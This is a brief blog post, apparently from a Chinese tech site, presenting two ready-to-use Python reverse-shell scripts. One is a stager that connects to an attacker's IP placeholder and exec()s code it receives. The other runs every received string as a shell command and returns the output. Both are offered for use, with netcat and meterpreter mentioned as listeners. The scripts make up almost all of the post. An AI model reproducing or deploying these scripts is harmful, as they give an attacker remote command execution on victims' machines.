Simple python reverse shell
2024-08-22 04:07:01
import base64,sys;
import socket,struct
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('Attack's IP address',ListenerPort))
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s})
You can change the IP/DNS and listener port what you want.
Let's test it!
Start a listener:
Execute the shell:
I also found a reverse shell on the Intetnet.
#!/usr/bin/python
# imports here
import socket,subprocess
HOST = 'Attack's IP adress'
PORT = ListenerPort
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Connection Established!')
while 1:
data = s.recv(1024)
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
But this one can not listen by meterpreter
We can use the netcat to get a shell.
最新文章
- Leetcode Simplify Path
- tomcat gzip compression not working for large js files
- 主机使用代理上网,虚拟机Linux如何连外网
- JS中的闭包
- Java遇见HTML——JSP篇之JSP状态管理
- source insight用于C语言编程的工具脚本
- php in_array 和 str_replace
- ubuntu16.04下源码安装onos1.0.2
- QButtonGroup按钮组
- 安装VS2010时出现进入的图标没有与需要部分升级VS10Sp1-KB983509的解决方案
- python数据类型之列表类型
- js获取浏览器内核判断终端(是QQ打开还是QQ浏览器打开)
- MySQL 基础八 用户管理
- 具有键“XXX”的 ViewData 项属于类型“System.Int32”,但它必须属于类型“IEnumerable<;SelectListItem>;
- Hibernate的集合一对多与多对一
- vim自动缩进设置
- C#基础复习(2) 之 装箱拆箱
- winform dataGridView DataGridViewComboBoxColumn 下拉框事件
- Meta Blogging
- 雷林鹏分享:Ruby 正则表达式